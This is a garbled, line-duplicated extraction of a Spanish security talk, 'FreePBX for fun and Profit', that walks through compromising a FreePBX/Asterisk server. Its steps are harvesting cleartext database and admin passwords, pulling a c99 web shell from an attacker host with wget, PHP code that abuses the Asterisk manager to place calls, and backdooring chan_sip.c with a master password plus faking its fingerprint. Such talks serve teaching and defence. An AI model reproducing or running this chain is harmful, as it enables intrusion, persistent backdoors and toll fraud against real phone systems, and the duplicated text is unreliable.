bash-4.1$ bash-4.1$ mysql -D mysql -u root -e "grant select,insert,drop on mysql -D mysql -u root -e "grant select,insert,drop on asterisk.* to 'pepelux'@'192.168.2.9' identified by 'mipass123';"asterisk.* to 'pepelux'@'192.168.2.9' identified by 'mipass123';"

Y acceder desde nuestra máquina:Y acceder desde nuestra máquina:

pepelux@debian$pepelux@debian$ mysql -h 192.168.2.20 -u pepelux -pmysql -h 192.168.2.20 -u pepelux -p

Enter password: Enter password:

Welcome to the MySQL monitor. Commands end with ; or \g.Welcome to the MySQL monitor. Commands end with ; or \g.

Your MySQL connection id is 184Your MySQL connection id is 184

Server version: 5.1.61 Source distributionServer version: 5.1.61 Source distribution

……....

Type 'help;' or '\h' for help. Type '\c' to clear the current input Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.statement.

mysql> mysql>

Page 50: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones
Page 51: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

¿Y si el administrador ha puesto una contraseña a la cuenta de ¿Y si el administrador ha puesto una contraseña a la cuenta de root?root?

Page 52: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

¿Y si el administrador ha puesto una contraseña a la cuenta de ¿Y si el administrador ha puesto una contraseña a la cuenta de root?root?

En el fichero En el fichero /etc/freepbx.conf/etc/freepbx.conf (propiedad del usuario (propiedad del usuario asteriskasterisk) ) tenemos la contraseña de tenemos la contraseña de freepbxuserfreepbxuser, en claro!, en claro!

bash-4.1$ bash-4.1$ cat /etc/freepbx.confcat /etc/freepbx.conf

<?php<?php

$amp_conf['AMPDBUSER']$amp_conf['AMPDBUSER'] = 'freepbxuser';= 'freepbxuser';

$amp_conf['AMPDBPASS']$amp_conf['AMPDBPASS'] = '= 'kxbpOJwPPp5rkxbpOJwPPp5r';';

$amp_conf['AMPDBHOST']$amp_conf['AMPDBHOST'] = 'localhost';= 'localhost';

$amp_conf['AMPDBNAME']$amp_conf['AMPDBNAME'] = 'asterisk';= 'asterisk';

$amp_conf['AMPDBENGINE'] = 'mysql';$amp_conf['AMPDBENGINE'] = 'mysql';

Page 53: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

bash-4.1$ bash-4.1$ mysql -D asterisk -u freepbxuser -e "show tables" -pmysql -D asterisk -u freepbxuser -e "show tables" -p

Enter password: Enter password:

Page 54: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones
Page 55: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Echemos un ojo a la web:Echemos un ojo a la web:

bash-4.1$ bash-4.1$ ls /var/www/html/admin -la ls /var/www/html/admin -la

Page 56: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Echemos un ojo a la web:Echemos un ojo a la web:

bash-4.1$ bash-4.1$ ls /var/www/html/admin -la ls /var/www/html/admin -la ¿ Veis algo extraño ?¿ Veis algo extraño ?

Page 57: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

¿ Veis algo extraño ?¿ Veis algo extraño ?Echemos un ojo a la web:Echemos un ojo a la web:

bash-4.1$ bash-4.1$ ls /var/www/html/admin -la ls /var/www/html/admin -la

Soy el propietario de la web!!Soy el propietario de la web!!

Page 58: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

¿Qué tal si subimos una shell?¿Qué tal si subimos una shell?

bash-4.1$ bash-4.1$ cd /var/www/htmlcd /var/www/html

bash-4.1$ bash-4.1$ wget 192.168.2.9/freepbx/c99.txtwget 192.168.2.9/freepbx/c99.txt

bash-4.1$bash-4.1$ mv c99.txt c99.php mv c99.txt c99.php

Page 59: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

¿Qué tal si subimos una shell?¿Qué tal si subimos una shell?

bash-4.1$ bash-4.1$ cd /var/www/htmlcd /var/www/html

bash-4.1$ bash-4.1$ wget 192.168.2.9/freepbx/c99.txtwget 192.168.2.9/freepbx/c99.txt

bash-4.1$bash-4.1$ mv c99.txt c99.php mv c99.txt c99.php

Page 60: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

¿O si hacemos un ataque David Hasselhoff?¿O si hacemos un ataque David Hasselhoff?

Page 61: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones
Page 62: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Es posible que hayamos accedido al sistema a través de un bug y no Es posible que hayamos accedido al sistema a través de un bug y no conozcamos la contraseña del administrador … si lo actualizan, conozcamos la contraseña del administrador … si lo actualizan, perderemos el acceso … perderemos el acceso …

Page 63: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Es posible que hayamos accedido al sistema a través de un bug y no Es posible que hayamos accedido al sistema a través de un bug y no conozcamos la contraseña del administrador … si lo actualizan, conozcamos la contraseña del administrador … si lo actualizan, perderemos el acceso … perderemos el acceso …

Además, la contraseña en la BBDD no está en claro ...Además, la contraseña en la BBDD no está en claro ...

bash-4.1$ bash-4.1$ mysql -u root -D asterisk -e "select username, password_sha1 from mysql -u root -D asterisk -e "select username, password_sha1 from ampusers"ampusers"

Page 64: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

¡¡¡ no hay problema !!!¡¡¡ no hay problema !!!

… … en en /etc/amportal.conf/etc/amportal.conf (propiedad del usuario (propiedad del usuario asteriskasterisk) está ) está toda la configuración de FreePBX.toda la configuración de FreePBX.

bash-4.1$ bash-4.1$ cat /etc/amportal.conf | grep PASScat /etc/amportal.conf | grep PASS

AMPMGRPASS=amp111AMPMGRPASS=amp111

CDRDBPASS=CDRDBPASS=

ARI_ADMIN_PASSWORD=ARI_ADMIN_PASSWORD=web01web01

AMPDBPASS=kxbpOJwPPp5rAMPDBPASS=kxbpOJwPPp5r

Page 65: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

¡¡¡ no hay problema !!!¡¡¡ no hay problema !!!

… … en en /etc/amportal.conf/etc/amportal.conf (propiedad del usuario (propiedad del usuario asteriskasterisk) está ) está toda la configuración de FreePBX.toda la configuración de FreePBX.

bash-4.1$ bash-4.1$ cat /etc/amportal.conf | grep PASScat /etc/amportal.conf | grep PASS

AMPMGRPASS=amp111AMPMGRPASS=amp111

CDRDBPASS=CDRDBPASS=

ARI_ADMIN_PASSWORD=ARI_ADMIN_PASSWORD=web01 web01 ←← Contraseña en claro del Contraseña en claro del administradoradministrador

AMPDBPASS=kxbpOJwPPp5rAMPDBPASS=kxbpOJwPPp5r

Page 66: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Veamos los ficheros de configuración ...Veamos los ficheros de configuración ...

bash-4.1$ bash-4.1$ ls -la /etc/asterisk ls -la /etc/asterisk

Page 67: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Veamos los ficheros de configuración ...Veamos los ficheros de configuración ...

bash-4.1$ bash-4.1$ ls -la /etc/asterisk ls -la /etc/asterisk

¿ Veis algo extraño ?¿ Veis algo extraño ?

Page 68: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Veamos los ficheros de configuración ...Veamos los ficheros de configuración ...

bash-4.1$ bash-4.1$ ls -la /etc/asterisk ls -la /etc/asterisk

Soy el propietario de Asterisk!! Soy el propietario de Asterisk!!

¿ Veis algo extraño ?¿ Veis algo extraño ?

Page 69: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

¿Qué tal si usamos el servicio ¿Qué tal si usamos el servicio managermanager, que por defecto viene , que por defecto viene activo?activo?

bash-4.1$ bash-4.1$ cat /etc/asterisk/manager.confcat /etc/asterisk/manager.conf

[general][general]

enabled = yesenabled = yes

port = 5038port = 5038

bindaddr = 0.0.0.0bindaddr = 0.0.0.0

displayconnects=no ;only effects 1.6+displayconnects=no ;only effects 1.6+

[admin][admin]

secret = amp111secret = amp111

deny=0.0.0.0/0.0.0.0deny=0.0.0.0/0.0.0.0

permit=127.0.0.1/255.255.255.0permit=127.0.0.1/255.255.255.0

read = read = system,call,log,verbose,command,agent,user,config,command,dtmf,reporting,cdr,dialplan,originatesystem,call,log,verbose,command,agent,user,config,command,dtmf,reporting,cdr,dialplan,originate

write = write = system,call,log,verbose,command,agent,user,config,command,dtmf,reporting,cdr,dialplan,originatesystem,call,log,verbose,command,agent,user,config,command,dtmf,reporting,cdr,dialplan,originate

Page 70: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Ya que tenemos el control de la web, nos creamos una página Ya que tenemos el control de la web, nos creamos una página “atractiva” en algún lugar oculto ...“atractiva” en algún lugar oculto ...

Page 71: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Y la conectamos con el servicio Y la conectamos con el servicio managermanager de la FreePBX ... de la FreePBX ...

$sc$sc = fsockopen(“ = fsockopen(“localhostlocalhost”, ”, 50385038, , $errnum$errnum, , $errdesc$errdesc) or die(“) or die(“Connection Connection failedfailed”);”);

fputs(fputs($sc$sc, “, “Action: loginAction: login\r\n\r\n”);”);

fputs(fputs($sc$sc, “, “Events: offEvents: off\r\n\r\n”);”);

fputs(fputs($sc$sc, “, “Username: adminUsername: admin\r\n\r\n”);”);

fputs(fputs($sc$sc, “, “Secret: amp111Secret: amp111\r\n\r\n\r\n\r\n”);”);

fputs(fputs($sc$sc, “, “Action: originateAction: originate\r\n\r\n”);”);

fputs(fputs($sc$sc, “, “Channel: LOCAL/$MI_TELEFONO@ext-localChannel: LOCAL/$MI_TELEFONO@ext-local\r\n\r\n”);”);

fputs(fputs($sc$sc, “, “WaitTime: 30WaitTime: 30\r\n\r\n”);”);

fputs(fputs($sc$sc, “, “Exten: $TFNO_DE_MI_AMIGOExten: $TFNO_DE_MI_AMIGO\r\n\r\n”);”);

fputs(fputs($sc$sc, “, “Context: ext-localContext: ext-local\r\n\r\n”);”);

fputs(fputs($sc$sc, “, “Priority: 1Priority: 1\r\n\r\n\r\n\r\n”);”);

fputs(fputs($sc$sc, “, “Action: logoffAction: logoff\r\n\r\n\r\n\r\n”);”);

sleep(sleep(33););

fclose(fclose($sc$sc););

Page 72: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones
Page 73: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

A ver los módulos ...A ver los módulos ...

bash-4.1$ bash-4.1$ ls -la /usr/lib/asterisk/modules/ls -la /usr/lib/asterisk/modules/

Page 74: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

A ver los módulos ...A ver los módulos ...

bash-4.1$ bash-4.1$ ls -la /usr/lib/asterisk/modules/ls -la /usr/lib/asterisk/modules/

Bueno, al menos son propiedad de root!!!Bueno, al menos son propiedad de root!!!

parece que no los podemos modificar ...parece que no los podemos modificar ...

Page 75: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

¿ O si ?¿ O si ?

Page 76: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

¿ O si ?¿ O si ?

Porque si el fichero Porque si el fichero /etc/asterisk/asterisk.conf/etc/asterisk/asterisk.conf, donde se indica la , donde se indica la ruta de los módulos, es propiedad del usuario ruta de los módulos, es propiedad del usuario asteriskasterisk … …

Page 77: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

¿ O si ?¿ O si ?

Porque si el fichero Porque si el fichero /etc/asterisk/asterisk.conf/etc/asterisk/asterisk.conf, donde se indica la , donde se indica la ruta de los módulos, es propiedad del usuario ruta de los módulos, es propiedad del usuario asteriskasterisk … …

¿ Qué nos impide copiar los módulos en otra ruta ¿ Qué nos impide copiar los módulos en otra ruta

y modificar y modificar asterisk.conf asterisk.conf ??

Page 78: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Buscamos un directorio con permisos de escritura y copiamos los Buscamos un directorio con permisos de escritura y copiamos los módulos:módulos:

bash-4.1$ bash-4.1$ mkdir /var/lib/asterisk/moh/modulesmkdir /var/lib/asterisk/moh/modules

bash-4.1$ bash-4.1$ cp /usr/lib/asterisk/modules/* cp /usr/lib/asterisk/modules/* /var/lib/asterisk/moh/modules/ /var/lib/asterisk/moh/modules/

Page 79: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Modificamos el fichero Modificamos el fichero asterisk.confasterisk.conf cambiando la ruta de los cambiando la ruta de los módulos:módulos:

bash-4.1$ bash-4.1$ cd /etc/asterisk cd /etc/asterisk

bash-4.1$ bash-4.1$ mv asterisk.conf asterisk.conf.copmv asterisk.conf asterisk.conf.cop

bash-4.1$ bash-4.1$ echo "[directories]">asterisk.conf echo "[directories]">asterisk.conf

bash-4.1$ bash-4.1$ echo "astetcdir => /etc/asterisk">>asterisk.conf echo "astetcdir => /etc/asterisk">>asterisk.conf

bash-4.1$ bash-4.1$ echo "astmoddir => echo "astmoddir => /var/lib/asterisk/moh/modules/var/lib/asterisk/moh/modules">>asterisk.conf ">>asterisk.conf

bash-4.1$ bash-4.1$ echo "astvarlibdir => /var/lib/asterisk">>asterisk.conf echo "astvarlibdir => /var/lib/asterisk">>asterisk.conf

bash-4.1$ bash-4.1$ echo "astagidir => /var/lib/asterisk/agi-bin">>asterisk.conf echo "astagidir => /var/lib/asterisk/agi-bin">>asterisk.conf

bash-4.1$ bash-4.1$ echo "astspooldir => /var/spool/asterisk">>asterisk.conf echo "astspooldir => /var/spool/asterisk">>asterisk.conf

bash-4.1$ bash-4.1$ echo "astrundir => /var/run/asterisk">>asterisk.conf echo "astrundir => /var/run/asterisk">>asterisk.conf

bash-4.1$ bash-4.1$ echo "astlogdir => /var/log/asterisk">>asterisk.conf echo "astlogdir => /var/log/asterisk">>asterisk.conf

bash-4.1$bash-4.1$ echo "[options]">>asterisk.conf echo "[options]">>asterisk.conf

bash-4.1$bash-4.1$ echo "transmit_silence_during_record = yes">>asterisk.conf echo "transmit_silence_during_record = yes">>asterisk.conf

bash-4.1$bash-4.1$ echo "languageprefix=yes">>asterisk.conf echo "languageprefix=yes">>asterisk.conf

bash-4.1$bash-4.1$ echo "execincludes=yes">>asterisk.conf echo "execincludes=yes">>asterisk.conf

Page 80: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Reiniciamos el Asterisk ...Reiniciamos el Asterisk ...

sh-4.1$sh-4.1$ asterisk -rx "core restart when convenient"asterisk -rx "core restart when convenient"

Page 81: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Reiniciamos el Asterisk ...Reiniciamos el Asterisk ...

sh-4.1$sh-4.1$ asterisk -rx "core restart when convenient"asterisk -rx "core restart when convenient"

Verificamos qué módulos hay en uso ...Verificamos qué módulos hay en uso ...

sh-4.1$sh-4.1$ fuser -v /usr/lib/asterisk/modules/res_curl.so fuser -v /usr/lib/asterisk/modules/res_curl.so

sh-4.1$sh-4.1$ fuser -v /var/lib/asterisk/moh/modules/res_curl.so fuser -v /var/lib/asterisk/moh/modules/res_curl.so

USER PID ACCESS COMMAND USER PID ACCESS COMMAND

/var/lib/asterisk/moh/modules/res_curl.so: /var/lib/asterisk/moh/modules/res_curl.so:

asterisk 2565 ....m asterisk asterisk 2565 ....m asterisk

Page 82: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Si Asterisk es de código abierto ….Si Asterisk es de código abierto ….

Y somos capaces de cambiar un módulo en la FreePBX ...Y somos capaces de cambiar un módulo en la FreePBX ...

Page 83: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Si Asterisk es de código abierto ….Si Asterisk es de código abierto ….

Y somos capaces de cambiar un módulo en la FreePBX ...Y somos capaces de cambiar un módulo en la FreePBX ...

¿Qué tal si modificamos chan_sip.c (encargado de validar los ¿Qué tal si modificamos chan_sip.c (encargado de validar los peers) y creamos una contraseña maestra, por código, que peers) y creamos una contraseña maestra, por código, que valide a cualquier usuario, y luego sustituimos nuestro valide a cualquier usuario, y luego sustituimos nuestro chan_sip.so por el original?chan_sip.so por el original?

Page 84: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Función de chan_sip.c que valida el registro de los peers:Función de chan_sip.c que valida el registro de los peers:

/*! \brief Check user authorization from peer definition/*! \brief Check user authorization from peer definition

Some actions, like REGISTER and INVITEs from peers requireSome actions, like REGISTER and INVITEs from peers require

authentication (if peer have secret set)authentication (if peer have secret set)

\return 0 on success, non-zero on error\return 0 on success, non-zero on error

*/*/

staticstatic enumenum check_auth_result check_auth( check_auth_result check_auth(structstruct sip_pvt *p, sip_pvt *p, structstruct sip_request *req, sip_request *req, const charconst char *username, *username,

const charconst char *secret, *secret, const charconst char *md5secret, *md5secret, intint sipmethod, sipmethod,

const charconst char *uri, *uri, enumenum xmittype reliable, xmittype reliable, intint ignore) ignore)

{{

……..............

}}

Page 85: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Validación del peer:Validación del peer:

if (!ast_strlen_zero(md5secret)) { ast_copy_string(a1_hash, md5secret, sizeof(a1_hash)); } if (!ast_strlen_zero(md5secret)) { ast_copy_string(a1_hash, md5secret, sizeof(a1_hash)); }

else {else {

charchar a1[ a1[256256];];

snprintf(a1, snprintf(a1, sizeofsizeof(a1), (a1), ""%s%s::%s%s::%s%s"", username, p->realm, secret);, username, p->realm, secret);

ast_md5_hash(a1_hash, a1);ast_md5_hash(a1_hash, a1);

}}

/* compute the expected response to compare with what we received *//* compute the expected response to compare with what we received */

{{

charchar a2[ a2[256256]; ]; charchar a2_hash[ a2_hash[256256]; ]; charchar resp[ resp[256256];];

snprintf(a2, snprintf(a2, sizeofsizeof(a2), (a2), ""%s%s::%s%s"", sip_methods[sipmethod].text, S_OR(keys[K_URI].s, uri));, sip_methods[sipmethod].text, S_OR(keys[K_URI].s, uri));

ast_md5_hash(a2_hash, a2);ast_md5_hash(a2_hash, a2);

snprintf(resp, snprintf(resp, sizeofsizeof(resp), (resp), ""%s%s::%s%s::%s%s"", a1_hash, usednonce, a2_hash);, a1_hash, usednonce, a2_hash);

ast_md5_hash(resp_hash, resp);ast_md5_hash(resp_hash, resp);

}}

good_response = keys[K_RESP].s && !strncasecmp(keys[K_RESP].s, resp_hash, good_response = keys[K_RESP].s && !strncasecmp(keys[K_RESP].s, resp_hash, strlen(resp_hash));strlen(resp_hash));

Page 86: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Añadiendo estas pocas líneas permitiremos que cualquier Añadiendo estas pocas líneas permitiremos que cualquier usuario valide con la contraseña 31337:usuario valide con la contraseña 31337:

ifif (good_response == (good_response == 00) {) {

charchar a1[ a1[256256], ], charchar a2[ a2[256256]; ]; charchar a2_hash[ a2_hash[256256]; ]; charchar resp[ resp[256256];];

strcpy(secret, strcpy(secret, ""3133731337""););

snprintf(a1, sizeof(a1), snprintf(a1, sizeof(a1), ""%s%s::%s%s::%s%s"", username, p->realm, secret);, username, p->realm, secret);

ast_md5_hash(a1_hash, a1);ast_md5_hash(a1_hash, a1);

snprintf(a2, snprintf(a2, sizeofsizeof(a2), (a2), ""%s%s::%s%s"", sip_methods[sipmethod].text, S_OR(keys[K_URI].s, , sip_methods[sipmethod].text, S_OR(keys[K_URI].s, uri));uri));

ast_md5_hash(a2_hash, a2);ast_md5_hash(a2_hash, a2);

snprintf(resp, snprintf(resp, sizeofsizeof(resp), (resp), ""%s%s::%s%s::%s%s"", a1_hash, usednonce, a2_hash);, a1_hash, usednonce, a2_hash);

ast_md5_hash(resp_hash, resp);ast_md5_hash(resp_hash, resp);

good_response = keys[K_RESP].s && !strncasecmp(keys[K_RESP].s, resp_hash, good_response = keys[K_RESP].s && !strncasecmp(keys[K_RESP].s, resp_hash, strlen(resp_hash));strlen(resp_hash));

}}

Page 87: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Compilamos en nuestra máquina el módulo y lo subimos al Compilamos en nuestra máquina el módulo y lo subimos al servidor de FreePBX:servidor de FreePBX:

sh-4.1$sh-4.1$ cd /var/lib/asterisk/moh/modules/ cd /var/lib/asterisk/moh/modules/

sh-4.1$sh-4.1$ rm chan_sip.so rm chan_sip.so

sh-4.1$sh-4.1$ wget http://192.168.2.9:/freepbx/chan_sip.so wget http://192.168.2.9:/freepbx/chan_sip.so

Page 88: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Compilamos en nuestra máquina el módulo y lo subimos al Compilamos en nuestra máquina el módulo y lo subimos al servidor de FreePBX:servidor de FreePBX:

sh-4.1$ sh-4.1$ cd /var/lib/asterisk/moh/modules/ cd /var/lib/asterisk/moh/modules/

sh-4.1$ sh-4.1$ rm chan_sip.so rm chan_sip.so

sh-4.1$sh-4.1$ wget http://192.168.2.9:/freepbx/chan_sip.so wget http://192.168.2.9:/freepbx/chan_sip.so

Recargamos el módulo ...Recargamos el módulo ...

sh-4.1$sh-4.1$ asterisk -rx "module unload chan_sip.so" asterisk -rx "module unload chan_sip.so"

sh-4.1$sh-4.1$ asterisk -rx "module load chan_sip.so" asterisk -rx "module load chan_sip.so"

Page 89: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Compilamos en nuestra máquina el módulo y lo subimos al Compilamos en nuestra máquina el módulo y lo subimos al servidor de FreePBX:servidor de FreePBX:

sh-4.1$ sh-4.1$ cd /var/lib/asterisk/moh/modules/ cd /var/lib/asterisk/moh/modules/

sh-4.1$ sh-4.1$ rm chan_sip.so rm chan_sip.so

sh-4.1$sh-4.1$ wget http://192.168.2.9:/freepbx/chan_sip.so wget http://192.168.2.9:/freepbx/chan_sip.so

Recargamos el módulo ...Recargamos el módulo ...

sh-4.1$sh-4.1$ asterisk -rx "module unload chan_sip.so" asterisk -rx "module unload chan_sip.so"

sh-4.1$sh-4.1$ asterisk -rx "module load chan_sip.so" asterisk -rx "module load chan_sip.so"

Unable to load module chan_sip.so Unable to load module chan_sip.so

Command 'module load chan_sip.so' failed. Command 'module load chan_sip.so' failed.

Page 90: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Compilamos en nuestra máquina el módulo y lo subimos al Compilamos en nuestra máquina el módulo y lo subimos al servidor de FreePBX:servidor de FreePBX:

sh-4.1$sh-4.1$ cd /var/lib/asterisk/moh/modules/ cd /var/lib/asterisk/moh/modules/

sh-4.1$sh-4.1$ rm chan_sip.so rm chan_sip.so

sh-4.1$sh-4.1$ wget http://192.168.2.9:/freepbx/chan_sip.so wget http://192.168.2.9:/freepbx/chan_sip.so

Recargamos el módulo ...Recargamos el módulo ...

sh-4.1$sh-4.1$ asterisk -rx "module unload chan_sip.so" asterisk -rx "module unload chan_sip.so"

sh-4.1$sh-4.1$ asterisk -rx "module load chan_sip.so" asterisk -rx "module load chan_sip.so"

Unable to load module chan_sip.so Unable to load module chan_sip.so

Command 'module load chan_sip.so' failed. Command 'module load chan_sip.so' failed.

Asterisk no nos permite meter un Asterisk no nos permite meter un

módulo de otra compilación!!módulo de otra compilación!!

Page 91: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Pero … Pero …

Page 92: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Pero … Pero …

Y si nos descargamos el chan_sip.so original a nuestra Y si nos descargamos el chan_sip.so original a nuestra máquina ...máquina ...

sh-4.1$sh-4.1$ cp /usr/lib/asterisk/modules/chan_sip.so /var/www/html/ cp /usr/lib/asterisk/modules/chan_sip.so /var/www/html/

pepelux@debian$pepelux@debian$ wget http://192.168.2.20/chan_sip.so wget http://192.168.2.20/chan_sip.so

Y lo comparamos con la copia usando el comando strings:Y lo comparamos con la copia usando el comando strings:

pepelux@debian$pepelux@debian$ strings chan_sip_orig.sostrings chan_sip_orig.so

__gmon_start____gmon_start__

__cxa_finalize__cxa_finalize

_Jv_RegisterClasses_Jv_RegisterClasses

ast_str_appendast_str_append

……..............

_ast_calloc_ast_calloc

95089850e3c922fa176f9bd274fd8109 95089850e3c922fa176f9bd274fd8109 Huella del fichero original← Huella del fichero original←

Page 93: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

pepelux@debian$pepelux@debian$ strings chan_sip_cop.sostrings chan_sip_cop.so

__gmon_start____gmon_start__

__cxa_finalize__cxa_finalize

_Jv_RegisterClasses_Jv_RegisterClasses

ast_str_appendast_str_append

……..............

;*2$";*2$"

47bd3e0f3e5a335edebd1441b5beb3af 47bd3e0f3e5a335edebd1441b5beb3af Huella del fichero ← Huella del fichero ←modificadomodificado

Page 94: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

pepelux@debian$pepelux@debian$ strings chan_sip_cop.sostrings chan_sip_cop.so

__gmon_start____gmon_start__

__cxa_finalize__cxa_finalize

_Jv_RegisterClasses_Jv_RegisterClasses

ast_str_appendast_str_append

……..............

;*2$";*2$"

47bd3e0f3e5a335edebd1441b5beb3af 47bd3e0f3e5a335edebd1441b5beb3af Huella del fichero ← Huella del fichero ←modificadomodificado

Con un editor hexadecimal le ponemos al nuevo fichero la Con un editor hexadecimal le ponemos al nuevo fichero la huella del original.huella del original.

